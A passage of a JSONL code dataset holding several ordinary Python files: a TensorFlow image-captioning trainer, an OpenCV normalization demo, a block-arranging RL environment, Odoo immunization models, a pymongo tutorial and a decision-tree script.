1, 1, 2048)\n        self._img_feature_data = np.vstack(self._img_feature_data)\n        origin_shape = self._img_feature_data.shape\n        # 此刻 origin_shape 的 shape：(31783, 1, 1, 2048)\n        self._img_feature_data = np.reshape( # 将其中的 两维度 去掉\n            self._img_feature_data, (origin_shape[0], origin_shape[3]))\n        self._img_feature_filenames = np.asarray(self._img_feature_filenames)\n        print(self._img_feature_data.shape) # (31783, 2048)\n        print(self._img_feature_filenames.shape) # (31783,)\n        if not self._deterministic:\n            self._random_shuffle()\n\n    def size(self):\n        # 图像文件的个数\n        return len(self._img_feature_filenames)\n\n    def img_feature_size(self):\n        # 获得图像特征的维度\n        return self._img_feature_data.shape[1]\n\n    def _random_shuffle(self):\n        p = np.random.permutation(self.size())\n        self._img_feature_filenames = self._img_feature_filenames[p]\n        self._img_feature_data = self._img_feature_data[p]\n\n    def _img_desc(self, filenames):\n        '''\n        从多条语句中，随机获得一条描述\n        :param filenames:\n        :return:\n        '''\n        batch_sentence_ids = []\n        batch_weights = []# 为最后 去掉无用的梯度做准备\n        for filename in filenames:\n            token_ids_set = self._img_name_to_token_ids[filename]\n            chosen_token_ids = random.choice(token_ids_set) # 随机选取一个\n            #chosen_token_ids = token_ids_set[0]\n            chosen_token_length = len(chosen_token_ids)\n\n            weight = [1 for i in range(chosen_token_length)]\n            if chosen_token_length >= self._num_timesteps:\n                chosen_token_ids = chosen_token_ids[0:self._num_timesteps]\n                weight = weight[0:self._num_timesteps]\n            else:# 否则 需要补零\n                # 计算需要补零的个数\n                remaining_length = self._num_timesteps - chosen_token_length\n                chosen_token_ids += [self._vocab.eos for i in range(remaining_length)]\n                weight += [0 for i in range(remaining_length)]\n            batch_sentence_ids.append(chosen_token_ids)\n            batch_weights.append(weight)\n        batch_sentence_ids = np.asarray(batch_sentence_ids)\n        batch_weights = np.asarray(batch_weights)\n        # 此刻返回的是 batch 句子描述， 和 weights\n        return batch_sentence_ids, batch_weights\n\n    def next(self, batch_size):\n        '''\n                返回 batch_size 个数据\n                流程如下：\n                1. 得到 图像名称\n                2. 得到 图像特征\n                3. 得到 图像描述信息\n                :param batch_size:\n                :return:\n                '''\n        end_indicator = self._indicator + batch_size\n        if end_indicator > self.size():\n            if not self._deterministic:\n                self._random_shuffle()\n            self._indicator = 0\n            end_indicator = self._indicator + batch_size\n        assert end_indicator <= self.size()\n\n        batch_img_features = self._img_feature_data[self._indicator: end_indicator]\n        batch_img_names = self._img_feature_filenames[self._indicator: end_indicator]\n\n        # batch_sentence_ids 是 图像描述 的id形式，\n        # batch_weights 句子权重，sentence_ids:[100, 101, 102, 0, 0, 0]--->[1, 1, 1, 0, 0, 0]\n        #   相当于是一个mask，和sentence_ids相乘，计算损失函数的时候，不去计算他们的损失\n        batch_sentence_ids, batch_weights = self._img_desc(batch_img_names)\n\n        self._indicator = end_indicator\n        return batch_img_features, batch_sentence_ids, batch_weights, batch_img_names\n\n\ncaption_data = ImageCaptionData(img_name_to_token_ids, input_img_feature_dir, hps.num_timesteps, vocab)\nimg_feature_dim = caption_data.img_feature_size()\n\ndef create_rnn_cell(hidden_dim, cell_type):\n    '''\n    根据cell类型，返回相应的网络结构\n    :param hidden_dim:\n    :param cell_type:\n    :return:\n    '''\n    if cell_type == 'lstm':\n        return tf.contrib.rnn.BasicLSTMCell(hidden_dim, state_is_tuple=True)\n    elif cell_type == 'gru':\n        return tf.contrib.rnn.GRUCell(hidden_dim)\n    else:\n        raise Exception(\"%s has not been supported\" % cell_type)\n\n\ndef dropout(cell, keep_prob):\n    return tf.contrib.rnn.DropoutWrapper(cell, output_keep_prob=keep_prob)\n\n\ndef get_train_model(hps, vocab_size, img_feature_dim):\n    num_timesteps = hps.num_timesteps\n    batch_size = hps.batch_size\n\n    img_feature = tf.placeholder(tf.float32, (batch_size, img_feature_dim))\n    sentence = tf.placeholder(tf.int32, (batch_size, num_timesteps))\n    mask = tf.placeholder(tf.float32, (batch_size, num_timesteps))\n    keep_prob = tf.placeholder(tf.float32, name='keep_prob')\n\n    global_step = tf.Variable(tf.zeros([], tf.int64), name='global_step', trainable=False)\n\n    '''\n        训练过程：\n        句子：[a, b, c, d, e, f]\n\n        真正的输入：[img, a, b, c, d, e]\n        图像特征 [0.3, 0.5, 0.2, 0.9]\n        predict #1 img_feature -> embedding_img -> (a)\n        predict #2 a -> embedding_word -> lstm -> b\n        predict #3 b ->                        -> c  \n    '''\n    # Sets up the embedding layer.\n    embedding_initializer = tf.random_uniform_initializer(-1.0, 1.0)\n    # tf.random_uniform_initializer() 生成具有均匀分布的张量的初始化器\n    # 参考：https://www.w3cschool.cn/tensorflow_python/tensorflow_python-f1np2gyt.html\n    with tf.variable_scope('embedding', initializer=embedding_initializer):\n        embeddings = tf.get_variable(\n            'embeddings',\n            [vocab_size, hps.num_embedding_nodes],\n            tf.float32)\n        embed_token_ids = tf.nn.embedding_lookup(embeddings, sentence[:, 0:num_timesteps - 1])\n        # 此刻 的 embed_token_ids 的 shape：[batch_size, num_timestep-1, num_embedding]\n\n    # 对图像进行 embedding\n    # 此刻的图像是一个 2048 的向量，需要进行一个全连接，转化成一个词embedding 长度一样的一个向量。\n    # 这样就可以将 图像embedding 和 词 embedding 拼接到一起，用来做预测\n    img_feature_embed_init = tf.uniform_unit_scaling_initializer(factor=1.0)\n    # 参考链接：https://www.w3cschool.cn/tensorflow_python/tensorflow_python-fy6t2o0o.html\n    with tf.variable_scope('image_feature_embed', initializer=img_feature_embed_init):\n        # img_feature:[batch_size, img_feature_dim]\n        # embed_img: [batch_size, num_embedding_nodes]\n        embed_img = tf.layers.dense(img_feature, hps.num_embedding_nodes)\n        embed_img = tf.expand_dims(embed_img, 1)\n        # 此刻的 embed_inputs shape: [batch_size, num_timesteps, num_embedding_nodes]\n        embed_inputs = tf.concat([embed_img, embed_token_ids], axis=1)\n\n    # Sets up LSTM network.\n    scale = 1.0 / math.sqrt(hps.num_embedding_nodes + hps.num_lstm_nodes[-1]) / 3.0\n    lstm_init = tf.random_uniform_initializer(-scale, scale)\n    with tf.variable_scope('lstm_nn', initializer=lstm_init):\n        cells = []\n        for i in range(hps.num_lstm_layers):\n            cell = create_rnn_cell(hps.num_lstm_nodes[i], hps.cell_type)\n            cell = dropout(cell, keep_prob)\n            cells.append(cell)\n        cell = tf.contrib.rnn.MultiRNNCell(cells)\n\n        initial_state = cell.zero_state(hps.batch_size, tf.float32)\n        # rnn_outputs: [batch_size, num_timesteps, hps.num_lstm_node[-1]]\n        rnn_outputs, _ = tf.nn.dynamic_rnn(cell,\n                                           embed_inputs,\n                                           initial_state=initial_state)\n\n    # Sets up the fully-connected layer.\n    fc_init = tf.uniform_unit_scaling_initializer(factor=1.0)\n    with tf.variable_scope('fc', initializer=fc_init):\n        # 因为要使用 rnn_outputs 做全连接，需要改变维度，保留最后一个维度不变，合并前两个维度\n        rnn_outputs_2d = tf.reshape(rnn_outputs, [-1, hps.num_lstm_nodes[-1]])\n        fc1 = tf.layers.dense(rnn_outputs_2d, hps.num_fc_nodes, name='fc1')\n        fc1_dropout = tf.nn.dropout(fc1, keep_prob)\n        fc1_dropout = tf.nn.relu(fc1_dropout)\n        logits = tf.layers.dense(fc1_dropout, vocab_size, name='logits')\n        # logits 是 整个词表的 概率分布\n        # logits的 shape 是： (800, 10875) 800是batch_size*timesteps 10875是词表长度\n        # 注意，在全链接中的dropout和在lstm中的dropout不同的\n        # lstm tf.contrib.rnn.DropoutWrapper()\n\n\n    with tf.variable_scope('loss'):\n        # 因为在进入全连接之前，将第一维和第二维给展平了，所以，同样需要将GT给展平\n        '''\n        这里多做一点注释，以防以后忘掉\n        因为在 进行 全连接之前，已经将数据reshape 成了二维，\n        即 [\n                [1.jpg的第1个timestep, lstm最后一层的个数],\n                [1.jpg的第2个timestep, lstm最后一层的个数],\n                ...\n                [2.jpg的第1个timestep, lstm最后一层的个数],\n                [2.jpg的第2个timestep, lstm最后一层的个数]\n            ]\n        这样，最终logits输出的是\n            [1.jpg的第1个timestep预测值的概率分布，\n             1.jpg的第2个timestep预测值的概率分布，\n            ...\n             2.jpg的第1个timestep预测值的概率分布，\n            ]\n        同样的， 将sentences进行reshape 之后，就成了\n            [\n                1.jpg的第1个timestep gt\n                1.jpg的第2个timestep gt\n                ...\n                2.jpg的第1个timestep gt\n                2.jpg的第2个timestep gt\n            ]\n        这样，正好可以 将 预测值 和 真实值 对上\n        '''\n        sentence_flatten = tf.reshape(sentence, [-1])\n        mask_flatten = tf.reshape(mask, [-1])\n        mask_sum = tf.reduce_sum(mask_flatten)\n        softmax_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(\n            logits=logits, labels=sentence_flatten)\n        weighted_softmax_loss = tf.multiply(softmax_loss,\n                                            tf.cast(mask_flatten, tf.float32))\n        # 该函数做了三件事儿：1.对logits进行softmax。2.对labels进行one-hot编码 3.计算交叉熵\n\n        prediction = tf.argmax(logits, 1) # 得到预测值\n        # 预测值 和 真实值 做比较\n        correct_prediction = tf.equal(tf.cast(prediction,tf.int32), sentence_flatten)\n        # 使用 mask 去掉 噪音\n        correct_prediction_with_mask = tf.multiply(\n            tf.cast(correct_prediction, tf.float32),\n            mask_flatten)\n        accuracy = tf.reduce_sum(correct_prediction_with_mask) / mask_sum\n        loss = tf.reduce_sum(weighted_softmax_loss) / mask_sum\n        tf.summary.scalar('loss', loss)\n\n    with tf.variable_scope('train_op'):\n        tvars = tf.trainable_variables()\n        for var in tvars:\n            logging.info(\"variable name: %s\" % (var.name))\n        grads, _ = tf.clip_by_global_norm( # 对梯度进行裁剪\n            tf.gradients(loss, tvars), hps.clip_lstm_grads)\n        for grad, var in zip(grads, tvars):\n            tf.summary.histogram('%s_grad' % (var.name), grad)\n        optimizer = tf.train.AdamOptimizer(hps.learning_rate)\n        train_op = optimizer.apply_gradients(zip(grads, tvars), global_step=global_step)\n\n    return ((img_feature, sentence, mask, keep_prob),\n            (loss, accuracy, train_op),\n            global_step)\n\n\nplaceholders, metrics, global_step = get_train_model(hps, vocab_size, img_feature_dim)\nimg_feature, sentence, mask, keep_prob = placeholders\nloss, accuracy, train_op = metrics\n\nsummary_op = tf.summary.merge_all()\n\ninit_op = tf.global_variables_initializer()\nsaver = tf.train.Saver(max_to_keep=10)\n\nwith tf.Session() as sess:\n    sess.run(init_op)\n    writer = tf.summary.FileWriter(output_dir, sess.graph)\n    for i in range(training_steps):\n        batch_img_features, batch_sentence_ids, batch_weights, _ = caption_data.next(hps.batch_size)\n        input_vals = (batch_img_features, batch_sentence_ids, batch_weights, hps.keep_prob)\n\n        feed_dict = dict(zip(placeholders, input_vals))\n        fetches = [global_step, loss, accuracy, train_op]\n\n        should_log = (i + 1) % hps.log_frequent == 0\n        should_save = (i + 1) % hps.save_frequent == 0\n        if should_log:\n            fetches += [summary_op]\n        outputs = sess.run(fetches, feed_dict)\n        global_step_val, loss_val, accuracy_val = outputs[0:3]\n        if should_log:\n            summary_str = outputs[4]\n            writer.add_summary(summary_str, global_step_val)\n            logging.info('Step: %5d, loss: %3.3f, accuracy: %3.3f'\n                         % (global_step_val, loss_val, accuracy_val))\n        if should_save:\n            logging.info(\"Step: %d, image caption model saved\" % (global_step_val))\n            saver.save(sess, os.path.join(output_dir, \"image_caption\"), global_step=global_step_val)","sub_path":"image_caption_train.py","file_name":"image_caption_train.py","file_ext":"py","file_size_in_byte":20012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"478801701","text":"# coding: utf-8\nfrom cv2 import cv2\nimport numpy as np\n\nimg = cv2.imread(r\"pictures\\lena.jpg\")\ncv2.namedWindow(\"input\", cv2.WINDOW_AUTOSIZE)\ncv2.imshow(\"input\", img)\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\ngray = np.float32(gray)\nprint(gray)\n\n# scale and shift by NORM_MINMAX\ndst = np.zeros(gray.shape, dtype=np.float32)\ncv2.normalize(gray, dst=dst, alpha=0, beta=1.0, norm_type=cv2.NORM_MINMAX)\nprint(dst)\ncv2.imshow(\"NORM_MINMAX\", np.uint8(dst*255))\n\n# scale and shift by NORM_INF\ndst = np.zeros(gray.shape, dtype=np.float32)\ncv2.normalize(gray, dst=dst, alpha=1.0, beta=0, norm_type=cv2.NORM_INF)\nprint(dst)\ncv2.imshow(\"NORM_INF\", np.uint8(dst*255))\n\n# scale and shift by NORM_L1\ndst = np.zeros(gray.shape, dtype=np.float32)\ncv2.normalize(gray, dst=dst, alpha=1.0, beta=0, norm_type=cv2.NORM_L1)\nprint(dst)\ncv2.imshow(\"NORM_L1\", np.uint8(dst*10000000))\n\n# scale and shift by NORM_L2\ndst = np.zeros(gray.shape, dtype=np.float32)\ncv2.normalize(gray, dst=dst, alpha=1.0, beta=0, norm_type=cv2.NORM_L2)\nprint(dst)\ncv2.imshow(\"NORM_L2\", np.uint8(dst*10000))\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"2.3-normalization.py","file_name":"2.3-normalization.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"581257757","text":"#\n# Derived from blockarrange2_rewardonsuccess_standalone.py\n#\n# Two blocks. Reward when they are placed horizontally adjacent.\n#\nimport math\nimport numpy as np\nimport gym\nfrom gym import error, spaces, utils\n#from gym.utils import seeding\n\nclass BlockArrange:\n\n    def __init__(self):\n        \n#        self.maxSide = 3\n#        self.maxSide = 4\n        self.maxSide = 5\n#        self.maxSide = 6\n#        self.maxSide = 7\n        self.num_blocks = 2\n        self.num_moves = self.maxSide**2\n        \n        # 0 -- self.maxSide**2 -> pick from specified location\n        # self.maxSide**2 + 1 -- 2*self.maxSide**2 -> place at specified location\n        self.action_space = spaces.Discrete(2*self.maxSide**2)\n\n        # Observations:\n        # 0: block layout\n        # 1: holding (0 (nothing), or block num)\n#        self.observation_space = spaces.Tuple([spaces.Box(np.zeros([self.maxSide,self.maxSide,1]), self.num_blocks*np.ones([self.maxSide,self.maxSide,1])), spaces.Discrete(self.num_blocks)])\n        self.observation_space = spaces.Tuple([spaces.Box(np.zeros([self.maxSide,self.maxSide,1]), np.ones([self.maxSide,self.maxSide,1])), spaces.Discrete(2)])\n            \n        self.state = None\n        self.max_episode = 10\n        \n        self.reset()\n\n\n    def reset(self):\n\n        shape = self.observation_space.spaces[0].shape\n\n        # Initialize state as null\n        self.state = []\n        \n        # self.state[0] encodes block layout\n        self.state.append(np.zeros(self.observation_space.spaces[0].shape))\n        for i in range(self.num_blocks):\n            while True:\n                ii = np.random.randint(shape[0])\n                jj = np.random.randint(shape[1])\n                if self.state[0][ii,jj] == 0:\n#                    self.state[0][ii,jj] = i+1.\n                    self.state[0][ii,jj] = 1\n                    break\n\n        # self.state[1] encodes what the robot is holding -- start out holding nothing (0)\n        self.state.append(0)\n        self.episode_timer = 0\n        \n        return np.array(self.state)\n    \n    \n    def step(self, action):\n        \n#        posBlocks = -np.ones([self.num_blocks,2])\n        \n        holdingOld = np.copy(self.state[1])\n        \n        X,Y = np.meshgrid(range(self.maxSide),range(self.maxSide))\n        coords = np.stack([np.reshape(Y,[self.maxSide**2,]), np.reshape(X,[self.maxSide**2,])],axis=0)\n\n        # if PICK\n        if action < self.num_moves:\n            \n            # if not holding anything\n            if self.state[1] == 0:\n            \n                # set holding to contents of action target\n                self.state[1] = np.int32(np.copy(np.squeeze(self.state[0][coords[0,action],coords[1,action]])))\n                \n                # zero out action target on grid\n                self.state[0][coords[0,action],coords[1,action]] = 0\n            \n        # if PLACE\n        elif action < 2*self.num_moves:\n            \n            action -= self.num_moves\n            \n            # if holding something and spot is free, then place\n            if (self.state[1] != 0) and (self.state[0][coords[0,action],coords[1,action]] == 0):\n\n                # place item\n                self.state[0][coords[0,action],coords[1,action]] = self.state[1]\n    \n                # set holding to zero\n                self.state[1] = 0\n            \n        else:\n            print(\"error\")\n\n        # check for termination condition\n        reward = 0\n        done = 0\n        \n#        # reward for successful pick\n#        if (holdingOld == 0) and (self.state[1] == 1):\n#            done = 1\n#            reward = 10\n        \n        # reward for two blocks horizontal adjacency\n        blockCoords = np.nonzero(self.state[0][:,:,0])\n        if np.sum(self.state[0]) == 2: # if two blocks on the board\n            if blockCoords[0][0] == blockCoords[0][1]: # if two blocks at same level\n                if np.abs(blockCoords[1][0] - blockCoords[1][1]) <= 1: # if two blocks horizontally adjacent\n                    done = 1\n                    reward = 10\n                \n#        # three-block adjacency condition\n#        if max(posBlocks[:,0]) - min(posBlocks[:,0]) == 0:\n#            if max(posBlocks[:,1]) - min(posBlocks[:,1]) <= 2:\n#                done = 1\n#                reward = 10\n        \n        if self.episode_timer > self.max_episode:\n            self.episode_timer = 0\n            done = 1\n        self.episode_timer += 1\n        \n        return self.state, reward, done, {}        \n\n    \n    def render(self):\n        \n        print(\"grid:\")\n        print(str(self.state[0][:,:,0]))\n        print(\"holding: \" + str(self.state[1]))\n\n        \n","sub_path":"envs/blockarrange_2blocks_baseline.py","file_name":"blockarrange_2blocks_baseline.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"587777903","text":"# -*- coding: utf-8 -*-\n\nfrom openerp import models, fields, api\n\nclass Immunization(models.Model):    \n    _name = \"hc.res.immunization\"    \n    _description = \"Immunization\"        \n\n    identifier_ids = fields.One2many(\n        comodel_name=\"hc.immunization.identifier\", \n        inverse_name=\"immunization_id\", \n        string=\"Identifiers\", \n        help=\"Business identifier.\")                \n    status = fields.Selection(\n        string=\"Status\", \n        required=\"True\", \n        selection=[\n            (\"in-progress\", \"In-Progress\"), \n            (\"on-hold\", \"On-Hold\"), \n            (\"completed\", \"Completed\"), \n            (\"entered-in-error\", \"Entered-In-Error\"), \n            (\"stopped\", \"Stopped\")], \n        help=\"The status of the diagnostic report as a whole.\")                \n    date = fields.Datetime(\n        string=\"Date\", \n        required=\"True\", \n        help=\"Vaccination administration date.\")                \n    vaccine_code_id = fields.Many2one(\n        comodel_name=\"hc.vs.vaccine.code\", \n        string=\"Vaccine Code\", \n        required=\"True\", \n        help=\"Vaccine product administered.\")                \n    patient_id = fields.Many2one(\n        comodel_name=\"hc.res.patient\", \n        string=\"Patient\", \n        required=\"True\", \n        help=\"Who was immunized\")                \n    is_was_not_given = fields.Boolean(\n        string=\"Was Not Given\", \n        required=\"True\", \n        help=\"Flag for whether immunization was given\")                \n    is_reported = fields.Boolean(\n        string=\"Reported\", \n        required=\"True\", \n        help=\"Indicates a self-reported record\")                \n    performer_id = fields.Many2one(\n        comodel_name=\"hc.res.practitioner\", \n        string=\"Performer\", \n        help=\"Who administered vaccine\")                \n    requester_id = fields.Many2one(\n        comodel_name=\"hc.res.practitioner\", \n        string=\"Requester\", \n        help=\"Who ordered vaccination\")                \n    encounter_id = fields.Many2one(\n        comodel_name=\"hc.res.encounter\", \n        string=\"Encounter\", \n        help=\"Encounter administered as part of.\")                \n    manufacturer_id = fields.Many2one(\n        comodel_name=\"hc.res.organization\", \n        string=\"Manufacturer\", \n        help=\"Vaccine manufacturer.\")                \n    location_id = fields.Many2one(\n        comodel_name=\"hc.res.location\", \n        string=\"Location\", \n        help=\"Where vaccination occurred\")                \n    lot_number = fields.Char(\n        string=\"Lot Number\", \n        help=\"Vaccine lot number.\")                \n    expiration_date = fields.Date(\n        string=\"Expiration Date\", \n        help=\"Vaccine expiration date.\")                \n    site_id = fields.Many2one(\n        comodel_name=\"hc.vs.immunization.site\", \n        string=\"Site\", \n        help=\"Body site vaccine was administered.\")                \n    route_id = fields.Many2one(\n        comodel_name=\"hc.vs.immunization.route\", \n        string=\"Route\", \n        help=\"How vaccine entered body.\")                \n    dose_quantity = fields.Float(\n        string=\"Dose Quantity\", \n        help=\"Amount of vaccine administered.\")                \n    note_ids = fields.One2many(\n        comodel_name=\"hc.immunization.note\", \n        inverse_name=\"immunization_id\", \n        string=\"Notes\", \n        help=\"Vaccination notes.\")                \n    explanation_id = fields.Many2one(\n        comodel_name=\"hc.immunization.explanation\", \n        string=\"Explanation\", \n        help=\"Administration / non-administration reasons.\")                \n    reaction_ids = fields.One2many(\n        comodel_name=\"hc.immunization.reaction\", \n        inverse_name=\"immunization_id\", \n        string=\"Reactions\", \n        help=\"Details of a reaction that follows immunization.\")                \n    vaccination_protocol_ids = fields.One2many(\n        comodel_name=\"hc.immunization.vaccination.protocol\", \n        inverse_name=\"immunization_id\", \n        string=\"Vaccination Protocols\", \n        help=\"What protocol was followed.\")                \n\nclass ImmunizationExplanation(models.Model):    \n    _name = \"hc.immunization.explanation\"    \n    _description = \"Immunization Explanation\"        \n\n    immunization_id = fields.Many2one(\n        comodel_name=\"hc.res.immunization\", \n        string=\"Immunization\", \n        help=\"Immunization associated with this Immunization Explanation.\")                \n    reason_ids = fields.Many2many(\n        comodel_name=\"hc.vs.immunization.reason\", \n        relation=\"immunization_explanation_reason_rel\", \n        string=\"Reasons\", \n        help=\"Why immunization occurred.\")\n    reason_not_given_ids = fields.Many2many(\n        comodel_name=\"hc.vs.no.immunization.reason\", \n        relation=\"immunization_explanation_reason_not_given_rel\", \n        string=\"Reasons Not Given\", \n        help=\"Why immunization did not occur.\")               \n\nclass ImmunizationReaction(models.Model):    \n    _name = \"hc.immunization.reaction\"    \n    _description = \"Immunization Reaction\"        \n\n    immunization_id = fields.Many2one(\n        comodel_name=\"hc.res.immunization\", \n        string=\"Immunization\", \n        help=\"Immunization associated with this Immunization Reaction.\")                \n    date = fields.Datetime(\n        string=\"Date\", \n        help=\"When reaction started\")                \n    detail_id = fields.Many2one(\n        comodel_name=\"hc.res.observation\", \n        string=\"Detail\", \n        help=\"Additional information on reaction.\")                \n    is_reported = fields.Boolean(\n        string=\"Reported\", \n        help=\"Indicates self-reported reaction\")                \n\nclass ImmunizationVaccinationProtocol(models.Model):    \n    _name = \"hc.immunization.vaccination.protocol\"    \n    _description = \"Immunization Vaccination Protocol\"        \n\n    immunization_id = fields.Many2one(\n        comodel_name=\"hc.res.immunization\", \n        string=\"Immunization\", \n        help=\"Immunization associated with this Immunization Vaccination Protocol.\")                \n    dose_sequence = fields.Integer(\n        string=\"Dose Sequence\", \n        help=\"Dose number within series\")                \n    description = fields.Text(\n        string=\"Description\", \n        help=\"Details of vaccine protocol.\")                \n    authority_id = fields.Many2one(\n        comodel_name=\"hc.res.organization\", \n        string=\"Authority\", \n        help=\"Who is responsible for protocol.\")                \n    series = fields.Char(\n        string=\"Series\", \n        help=\"Name of vaccine series.\")                \n    series_doses = fields.Integer(\n        string=\"Series Doses\", \n        help=\"Recommended number of doses for immunity.\")                \n    target_disease_ids = fields.Many2many(\n        comodel_name=\"hc.vs.vaccination.protocol.dose.target\", \n        relation=\"immunization_vaccination_protocol_target_disease_rel\", \n        string=\"Target Diseases\", \n        required=\"True\", \n        help=\"Disease immunized against.\")              \n    dose_status_id = fields.Many2one(\n        comodel_name=\"hc.vs.vaccination.protocol.dose.status\", \n        string=\"Dose Status\", \n        required=\"True\", \n        help=\"Indicates if dose counts towards immunity\")                \n    dose_status_reason_id = fields.Many2one(\n        comodel_name=\"hc.vs.vaccination.protocol.dose.status.reason\", \n        string=\"Dose Status Reason\", help=\"Why dose does (not) count\")                \n\nclass ImmunizationIdentifier(models.Model):    \n    _name = \"hc.immunization.identifier\"    \n    _description = \"Immunization Identifier\"        \n    _inherit = [\"hc.basic.association\", \"hc.identifier\"]\n\n    immunization_id = fields.Many2one(\n        comodel_name=\"hc.res.immunization\", \n        string=\"Immunization\", \n        help=\"Immunization associated with this Immunization Identifier.\")                \n\nclass ImmunizationNote(models.Model):    \n    _name = \"hc.immunization.note\"    \n    _description = \"Immunization Note\"        \n    _inherit = [\"hc.basic.association\", \"hc.annotation\"]\n\n    immunization_id = fields.Many2one(\n        comodel_name=\"hc.res.immunization\", \n        string=\"Immunization\", \n        help=\"Immunization associated with this Immunization Note.\")                               \n\nclass ImmunizationRoute(models.Model):    \n    _name = \"hc.vs.immunization.route\"    \n    _description = \"Immunization Route\"        \n    _inherit = [\"hc.value.set.contains\"]\n\nclass ImmunizationSite(models.Model):    \n    _name = \"hc.vs.immunization.site\"    \n    _description = \"Immunization Site\"        \n    _inherit = [\"hc.value.set.contains\"]\n\nclass VaccinationProtocolDoseStatus(models.Model):    \n    _name = \"hc.vs.vaccination.protocol.dose.status\"    \n    _description = \"Vaccination Protocol Dose Status\"        \n    _inherit = [\"hc.value.set.contains\"]\n\nclass VaccinationProtocolDoseStatusReason(models.Model):    \n    _name = \"hc.vs.vaccination.protocol.dose.status.reason\"    \n    _description = \"Vaccination Protocol Dose Status Reason\"        \n    _inherit = [\"hc.value.set.contains\"]\n\nclass VaccineCode(models.Model):    \n    _name = \"hc.vs.vaccine.code\"    \n    _description = \"Vaccine Code\"        \n    _inherit = [\"hc.value.set.contains\"]\n\nclass VaccinationProtocolDoseTarget(models.Model):    \n    _name = \"hc.vs.vaccination.protocol.dose.target\"    \n    _description = \"Vaccination Protocol Dose Target\"        \n    _inherit = [\"hc.value.set.contains\"]\n\nclass ImmunizationReason(models.Model):    \n    _name = \"hc.vs.immunization.reason\"    \n    _description = \"Immunization Reason\"        \n    _inherit = [\"hc.value.set.contains\"]\n\nclass NoImmunizationReason(models.Model):    \n    _name = \"hc.vs.no.immunization.reason\"    \n    _description = \"No Immunization Reason\"        \n    _inherit = [\"hc.value.set.contains\"]\n\n","sub_path":"addons/hc_immunization/models/hc_res_immunization.py","file_name":"hc_res_immunization.py","file_ext":"py","file_size_in_byte":9824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"596348463","text":"from pymongo import MongoClient\nimport datetime\nimport pprint\n\n\nclient = MongoClient('localhost', 27017)\ndb = client.test_database\n\nposts = db.posts\nprint(db);\n\n\npost = {\"author\": \"Mike\",\n        \"text\": \"My first blog post!\",\n        \"tags\": [\"mongodb\", \"python\", \"pymongo\"],\n        \"date\": datetime.datetime.utcnow()}\n\npost_id = posts.insert_one(post).inserted_id\n# After inserting the first document, the posts collection has actually been created on the server.\n\n\nprint(post_id)\npprint.pprint(posts.find_one())\npprint.pprint(posts.find_one({\"author\": \"Mike\"}))\n\nnew_posts = [{\"author\": \"Mike\",\n              \"text\": \"Another post!\",\n              \"tags\": [\"bulk\", \"insert\"],\n              \"date\": datetime.datetime(2009, 11, 12, 11, 14)},\n             {\"author\": \"Eliot\",\n              \"title\": \"MongoDB is fun\",\n              \"text\": \"and pretty easy too!\",\n              \"date\": datetime.datetime(2009, 11, 10, 10, 45)}]\nresult = posts.insert_many(new_posts)\n\n\nfor post in posts.find():\n  pprint.pprint(post)\n  \nfor post in posts.find({\"author\": \"Mike\"}):\n  pprint.pprint(post)\n\n","sub_path":"python/python_to_mongo/prova_server.py","file_name":"prova_server.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"66381529","text":"from Arvore import Aprendizado, Maioria, MostraArvore, Classificar\nfrom Leitura import Atributos_Exemplos\nfrom datetime import datetime as dt\nimport os\nfrom Split import split_train_test\n\nt = dt.now()\n# attributes = {0: [\"Ensolarado\", \"Nublado\", \"Chuvoso\"], 1: [\"Quente\", \"Boa\", \"Fria\"],\n#               2: [\"Alta\", \"Normal\"], 3: [\"Forte\", \"Fraco\"]}\n#\n# examples = [[\"Ensolarado\", \"Quente\", \"Alta\", \"Fraco\", \"NAO\"],\n#                 [\"Ensolarado\", \"Quente\", \"Alta\", \"Forte\", \"NAO\"],\n#                 [\"Nublado\", \"Quente\", \"Alta\", \"Fraco\", \"SIM\"],\n#                 [\"Chuvoso\", \"Boa\", \"Alta\", \"Fraco\", \"SIM\"],\n#                 [\"Chuvoso\", \"Fria\", \"Normal\", \"Fraco\", \"SIM\"],\n#                 [\"Chuvoso\", \"Fria\", \"Normal\", \"Forte\", \"NAO\"],\n#                 [\"Nublado\", \"Fria\", \"Normal\", \"Forte\", \"SIM\"],\n#                 [\"Ensolarado\", \"Boa\", \"Alta\", \"Fraco\", \"NAO\"],\n#                 [\"Ensolarado\", \"Fria\", \"Normal\", \"Fraco\", \"SIM\"],\n#                 [\"Chuvoso\", \"Boa\", \"Normal\", \"Fraco\", \"SIM\"],\n#                 [\"Ensolarado\", \"Boa\", \"Normal\", \"Forte\", \"SIM\"],\n#                 [\"Nublado\", \"Boa\", \"Alta\", \"Forte\", \"SIM\"],\n#                 [\"Nublado\", \"Quente\", \"Normal\", \"Fraco\", \"SIM\"],\n#                 [\"Chuvoso\", \"Boa\", \"Alta\", \"Forte\", \"NAO\"]]\nexamples, attributes = Atributos_Exemplos()\nprint(dt.now() - t)\n\n# t = dt.now()\n# arvore = Aprendizado(examples, attributes, Maioria(examples))\n# print(dt.now() - t)\n\n# MostraArvore(arvore)\n\n\"\"\"\nSegmentar dados\n\"\"\"\ntrain, test = split_train_test(examples, 0.6)\nprint('Dividido')\n\nt = dt.now()\narvore = Aprendizado(train, attributes, Maioria(train))\nprint(dt.now() - t)\n\nresult = []\nfor line in test:\n    result.append(Classificar(arvore, line))\n\nacerto = 0\nfor i in range(len(test)):\n    print('ESPERADO: {:5} | OBTIDO: {:5}'.format(test[i][-1], result[i]))\n    if result[i] == test[i][-1]:\n        acerto += 1\n\nprint(acerto/len(result))\n\n\nos.system('play -nq -t alsa synth {} sine {}'.format(0.3, 440))\n# print(Classificar(arvore, [\"Ensolarado\", \"Fria\", \"Alta\", 